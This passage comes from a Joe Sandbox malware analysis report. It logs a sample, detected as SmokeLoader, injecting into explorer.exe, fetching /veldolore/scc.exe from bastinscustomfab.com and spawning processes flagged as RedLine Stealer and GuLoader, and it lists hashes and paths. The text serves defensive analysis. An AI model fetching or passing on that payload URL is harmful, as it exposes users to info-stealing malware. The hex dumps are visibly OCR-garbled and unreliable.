320053 0030 00 79 00 31 00 53 00 61 00 56 00 7a 00 48 00 63 00 43 00 77 00 31 00 30 00 35 00 6a 00 31 00 41 00 67
00 47 00 68 00 7a 00 53 00 33 00 52 00 65 00 39 00 74 00 36 00 50 00 4a 00 56 00 33 00 6a 00 33 00 66 00 2f 00 51 00
62 00 42 00 57 00 2f 00 6e 00 71 00 69 00 50 00 71 00 47 00 70 00 2b 00 33 00 47 00 62 00 46 00 72 00 55 00 38 00 79
00 4d 00 51 00 41 00 74 00 2b 00 65 00 73 00 69 00 64 00 42 00 64 00 48

Data Ascii: aprydcxw2hySYLGIHDzT8LOQBDID3vVKXzReZSIOWPCG+gmCaz/5GiVdY2S0y1SaVzHcCw105j1AgG
hzS3Re9t6PJIV3j3f/QbBW/nqiPqGp+3GbFrU8yMQAt+esidBdH

Data Raw: 50 00 73 00 55 00 52 00 69 00 38 00 69 00 5a 00 72 00 76 00 53 00 6e 00 31 00 57 00 63 00 43 00 2b 00 68
00 41 00 4e 00 59 00 53 00 75 00 2b 00 4a 00 71 00 61 00 31 00 6d 00 33 00 71 00 32 00 5a 00 31 00 72 00 41 00 37 00
56 00 6¢ 00 47 00 75 00 6e 00 54 00 79 00 57 00 50 00 6a 00 55 00 78 00 6f 00 4a 00 70 00 61 00 62 00 63 00 59 00 7a O
04a 00 36 00 65 00 36 00 31 00 46 00 75 00 6b 00 31 00 48 00 30 00 7a 00 43 00 43 00 42 00 31 00 33 00 55 00 66 00
73 00 30 00 4f 00 50 00 56 00 71 00 77 00 38 00 37 00 5a 00 42 00 57 00 6b 00 48 00 39 00 6e 00 4e 00 49 00 50 00 37
00 68 00 50 00 75 00 64 00 63 00 35 00 77 00 34 00 48 00 51 00 36 00 6e 00 48 00 76 00 65 00 57 00 76 00 51 00 79 00
49 00 33 00 50 00 44 00 48 00 6e 00 66 00 33 00 4a 00 47 00 66 00 74 00 6a

Data Ascii: PSURIi8iZrvSn1WcC+hANY Su+Jgalm3g2Z1rA7VIGunTyWPjUxoJpabcYzJ6e61Fuk1H0zCCB13UfsO
OPVqw87ZBWKHINNIP7hPudc5w4HQ6nHveWvQyI3PDHNf3JGftj

Data Raw: 66 00 65 00 35 00 71 00 34 00 56 00 70 00 43 00 79 00 49 00 57 00 70 00 63 00 71 00 69 00 6¢ 00 66 00 36
00 7100 77 00 64 00 64 00 6f 00 77 00 65 00 49 00 71 00 4d 00 6¢ 00 39 00 32 00 79 00 50 00 69 00 31 00 53 00 46 00
39 00 61 00 31 00 69 00 50 00 53 00 4d 00 2f 00 72 00 4f 00 4d 00 48 00 34 00 44 00 2b 00 31 00 75 00 63 00 2b 00 33 0
044 00 54 00 72 00 4a 00 4f 00 44 00 65 00 52 00 6b 00 4e 00 51 00 67 00 56 00 39 00 42 00 6f 00 51 00 58 00 2b 00 63
00 69 00 38 00 48 00 6¢ 00 6¢ 00 70 00 61 00 79 00 48 00 43 00 7a 00 59 00 75 00 55 00 2b 00 72 00 79 00 43 00 72 00
53 00 7a 00 67 00 67 00 76 00 45 00 78 00 41 00 79 00 67 00 4d 00 63 00 57 00 34 00 65 00 6b 00 58 00 77 00 4f 00 6e
00 6a 00 74 00 4b 00 33 00 59 00 65 00 6a 00 6a 00 49 00 44 00 48 00 77

Data Ascii: fe5q4VpCylWpcqilf6qwddowelgMI92yPil1SF9aliPSM/rOMH4D+1uc+3DTrJODeRkNQgVIBoQX+ci8HIIpayHCz
YuU+ryCrSzggvExAygMcW4ekXwOnijtK3YejjIDHw

Data Raw: 39 00 35 00 43 00 63 00 50 00 43 00 76 00 74 00 79 00 7a 00 2f 00 4d 00 54 00 64 00 31 00 47 00 51 00 56 00
6d 00 30 00 65 00 5a 00 6¢ 00 65 00 71 00 2f 00 76 00 5a 00 71 00 45 00 64 00 65 00 53 00 4d 00 4e 00 65 00 32 00 45
00 62 00 7a 00 69 00 61 00 6d 00 65 00 4a 00 63 00 51 00 73 00 58 00 68 00 72 00 49 00 58 00 79 00 78 00 50 00 51 00
66 00 76 00 72 00 59 00 49 00 66 00 45 00 54 00 57 00 73 00 53 00 41 00 46 00 53 00 46 00 52 00 58 00 39 00 30 00 41
00 37 00 36 00 57 00 44 00 36 00 35 00 2f 00 4d 00 62 00 57 00 69 00 6e 00 53 00 61 00 71 00 69 00 57 00 67 00 74 00
32 00 6¢ 00 6a 00 33 00 67 00 37 00 4c 00 42 00 76 00 7a 00 6e 00 6b 00 58 00 46 00 54 00 59 00 4d 00 53 00 46 00 2f
00 73 00 34 00 56 00 65 00 5a 00 52 00 30 00 33 00 48 00 4b 00 75 00 73

Data Ascii: 95CcPCvtyz/MTd1GQVmOeZleqg/vZgEdeSMNe2EbziameJcQsXhrIXyxPQfvrYIfETWSSAFSFRX90A7
6WD65/MbWinSaqiWgt2lj3g7LBvznkXFTYMSF/s4VeZR03HKus

Data Raw: 32 00 36 00 2b 00 74 00 73 00 2b 00 51 00 76 00 6e 00 6d 00 58 00 50 00 56 00 39 00 38 00 66 00 34 00 77
00 34 00 65 00 38 00 67 00 6e 00 70 00 39 00 43 00 35 00 68 00 70 00 56 00 55 00 36 00 4e 00 4f 00 63 00 6d 00 33 00
41 00 71 00 63 00 2f 00 68 00 44 00 54 00 4b 00 61 00 58 00 62 00 6a 00 64 00 37 00 51 00 5a 00 48 00 2f 00 6b 00 66 0
074 00 62 00 79 00 75 00 62 00 53 00 31 00 79 00 73 00 43 00 4e 00 2b 00 46 00 41 00 41 00 79 00 79 00 2b 00 33 00
7500 74 00 35 00 43 00 55 00 73 00 79 00 77 00 65 00 7a 00 6¢ 00 59 00 71 00 30 00 75 00 68 00 66 00 37 00 6a 00 77
0051 00 72 00 75 00 30 00 43 00 77 00 6e 00 32 00 73 00 6a 00 42 00 50 00 30 00 46 00 62 00 33 00 4d 00 67 00 56 00
68 00 46 00 77 00 35 00 6a 00 71 00 73 00 47 00 6f 00 2b 00 34 00 2b 00 6¢

Data Ascii: 26+ts+QvnmXPV98f4w4e8gnp9C5hpVUBNOcm3Aqc/hDTKaXbjd7QZH/kftbyubS1ysCN+FAAyy+3ut
5CUsywezlY qOuhf7jwQru0Cwn2sjBPOFb3MgVhFw5jgsGo+4+|
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Session ID Source IP

1 192.168.2.3
kBytes
Timestamp transferred

2021-12-18 17:40:20 UTC 534

2021-12-18 17:40:21 UTC 534

Session ID Source IP

2 192.168.2.3
kBytes

Timestamp transferred

2021-12-18 17:40:21 UTC 534

2021-12-18 17:40:22 UTC 534

2021-12-18 17:40:22 UTC 535

2021-12-18 17:40:22 UTC 542

2021-12-18 17:40:22 UTC 547

2021-12-18 17:40:22 UTC 547

Code Manipulations

Copyright Joe Security LLC 2021

Source Port

49799

Direction

ouT

Source Port

49804

Direction

ouT

Destination IP Destination Port Process

50.62.140.96 443 C:\Windows\explorer.exe

Data

GET /veldolore/scc.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: bastinscustomfab.com

HTTP/1.1 301 Moved Permanently

Date: Sat, 18 Dec 2021 17:40:20 GMT

Server: Apache

X-Powered-By: PHP/7.3.33

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Set-Cookie: PHPSESSID=48c915d43757ecclbab33d25a70bc5d9; path=/
Upgrade: h2,h2c

Connection: Upgrade, close

Location: https://www.bastinscustomfab.com/veldolore/scc.exe
Content-Length: 0

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

50.62.140.96 443 C:\Windows\explorer.exe

Data

GET /veldolore/scc.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: www.bastinscustomfab.com

Cookie: PHPSESSID=48¢915d43757ecc1bab33d25a70bc5d9

HTTP/1.1 404 Not Found

Date: Sat, 18 Dec 2021 17:40:21 GMT

Server: Apache

X-Powered-By: PHP/7.3.33

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://www.bastinscustomfab.com/wp-json/>; rel="https://api.w.org/"
Upgrade: h2,h2c

Connection: Upgrade, close

Vary: Accept-Encoding

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 32 65 37 38 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
2d 55 53 22 3e 0a 3c 68 65 61 64 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e Oa 3c 6d 65
74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63
65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 7
2 6f 66 69 6¢ 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e Oa 3c 6¢
69 6e 6b 20 72 65 6¢ 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2 62 61 7
37469 6e 7363757374 6f6d66 6162 2e 63 6f 6d 2f 78 6d 6¢

Data Ascii: 2e78<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport"
content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><link rel="pingback" hre
f="https://www.bastinscustomfab.com/xml

Data Raw: 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 30 22 3e 3c 61 20 68 72 65 66 3d 22 68 74
747073 3a 2f2f 77 77 77 2e 62 61 73 74 69 6e 73 63 75 73 74 6f 6d 66 61 62 2e 63 6f 6d 2f 63 6f 6€ 76 65 79 6f 72 73 2f
22 3e 43 6f 6e 76 65 79 6f 72 73 3c 2f 61 3e 3c 2f 6¢ 69 3e 0a 3¢ 6¢ 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33
3931222063 6¢ 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73
74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d
33393122 3e 3c 612068726566 3d 226874 7470 73 3a 2f 2f 77 77 77 2e 62 61 73 74 69 6e 73 63 75 73 74 6f 6d 66
61 62 2e 63 6f 6d 2f 6¢ 69 67 68 74 2d 64 75 74 79 2d 65 6¢C

Data Ascii: ject-page menu-item-390"><a href="https://www.bastinscustomfab.com/conveyors/">Conveyors</a></li><li
id="menu-item-391" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-391"><a href="
https://www.bastinscustomfab.com/light-duty-el

Data Raw: 0d Oa
Data Ascii:

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Page 73 of 77



Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: q6JYc6gWId.exe PID: 7116 Parent PID: 4772

General
Start time: 18:39:07
Start date: 18/12/2021
Path: C:\Users\user\Desktop\q6JYc6gWId.exe
Wow64 process (32bit): true
Commandline: "C:\Users\user\Desktop\q6JYc6gWId.exe"
Imagebase: 0x400000
File size: 294400 bytes
MD5 hash: A22E5F73F08A009EACF5D5EB3D6A5792
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000003.298379145.00000000020F0000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000002.350369709.0000000002151000.00000004.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000002.350320215.0000000002130000.00000004.00000001.sdmp, Author:
Joe Security
Reputation: low
Analysis Process: explorer.exe PID: 3352 Parent PID: 7116
General
Start time: 18:39:19
Start date: 18/12/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline: C:\Windows\Explorer.EXE
Imagebase: 0x7ff720ea0000
File size: 3933184 bytes
MD5 hash: AD5296B280E8F522A8A897C96BABOELD
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000007.00000000.340082963.0000000004DE1000.00000020.00020000.sdmp, Author:
Joe Security
Reputation: high
File Activities Show Windows behavior
File Created
File Deleted
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File Written

Analysis Process: vffcvih PID: 7104 Parent PID: 664

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18:39:51

18/12/2021
C:\Users\user\AppData\Roaming\vffcvih
true
C:\Users\user\AppData\Roaming\vffcvih
0x400000

294400 bytes
A22E5F73F08A009EACF5D5EB3D6A5792
false

false

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000B.00000002.415328829.0000000000650000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000B.00000003.402537791.0000000000650000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000B.00000002.415485772.0000000002111000.00000004.00020000.sdmp, Author:
Joe Security

Reputation: low
‘ Analysis Process: 75A.exe PID: 5252 Parent PID: 3352

General

Start time: 18:40:11

Start date: 18/12/2021

Path: C:\Users\user\AppData\Local\Temp\75A.exe
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\75A.exe
Imagebase: 0x530000

File size: 545280 bytes

MDS5 hash: F2F8A2B12CB2E41FFBE135B6ED9B5B7C
Has elevated privileges: false

Has administrator privileges: false

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

.Net C# or VB.NET

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000011.00000002.457254410.0000000003921000.00000004.00000001.sdmp, Author:

Joe Security

moderate

Show Windows behavior

Copyright Joe Security LLC 2021
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https://www.metadefender.com/#!/results/file/bzIxMTIxOHA5NE1JOUZ4Nmt0TEdGbjlUckg/regular/analysis

Analysis Process: 75A.exe PID: 4616 Parent PID: 5252

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18:40:20
18/12/2021
C:\Users\user\AppData\Local\Temp\75A.exe
true
C:\Users\user\AppData\Local\Temp\75A.exe
0x960000
545280 bytes
F2F8A2B12CB2E41FFBE135B6EDIB5B7C
false
false
.Net C# or VB.NET
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.452805564.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.452346639.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.453527996.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000002.536058595.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.454062938.0000000000402000.00000040.00000001.sdmp, Author:

Joe Security
Reputation: moderate
File Activities Show Windows behavior
File Created
File Read
Analysis Process: 62E8.exe PID: 2408 Parent PID: 3352
General
Start time: 18:40:34
Start date: 18/12/2021
Path: C:\Users\user\AppData\Local\Temp\62E8.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Copyright Joe Security LLC 2021

true
C:\Users\user\AppData\Local\Temp\62E8.exe
0x400000

406606 bytes
185E024E93C959A39ADB24E469550777
false

false

.Net C# or VB.NET

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000016.00000002.575048556.0000000002435000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000016.00000002.571771410.0000000002390000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000016.00000003.491698338.0000000000898000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000016.00000002.575307346.0000000002530000.00000004.00020000.sdmp, Author:
Joe Security

low

Show Windows behavior
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File Created

File Read

Analysis Process: 92C3.exe PID: 5972 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

18:40:47

18/12/2021
C:\Users\user\AppData\Local\Temp\92C3.exe
true
C:\Users\user\AppData\Local\Temp\92C3.exe
0x400000

94424 bytes
EC1105BE312FD184FFC9D7F272D64B87
false

false

C, C++ or other language

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000018.00000002.571391986.0000000002990000.00000040.00000001.sdmp, Author:
Joe Security

low

Show Windows behavior

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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